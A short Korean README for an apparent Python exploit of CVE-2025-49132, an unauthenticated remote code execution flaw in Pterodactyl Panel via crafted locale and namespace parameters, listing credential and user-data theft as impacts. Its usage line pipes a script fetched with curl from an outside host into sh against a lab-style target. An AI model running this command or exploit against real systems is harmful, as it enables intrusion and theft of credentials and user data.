
조작된 로케일 및 네임스페이스 매개변수를 통해 Pterodactyl Panel에서 인증되지 않은 원격 코드 실행을 가능하게 하는 CVE-2025-49132용 Python 익스플로잇.
영향
/locales/locale.json을 locale 및 namespace 쿼리 매개변수와 함께 사용하면, 악의적인 공격자는 인증 없이 임의 코드를 실행할 수 있습니다.
임의 코드를 실행할 수 있게 되면, 이 취약점은 무수한 방식으로 악용될 수 있습니다. 패널 서버에 대한 접근 권한 획득, 패널의 구성(config) 파일(.env 또는 그 외)에서 자격 증명 읽기, 데이터베이스에서 민감한 정보(사용자 이름, 이메일, 이름과 성, 해시된 비밀번호, IP 주소 등과 같은 사용자 세부 정보) 추출, 패널이 관리하는 서버의 파일에 접근하는 등의 용도로 사용될 수 있습니다.
사용 방법
python exploit.py --target "pterodactyl.htb" --cmd 'curl http://10.10.14.22:8080/dbs.sh | sh'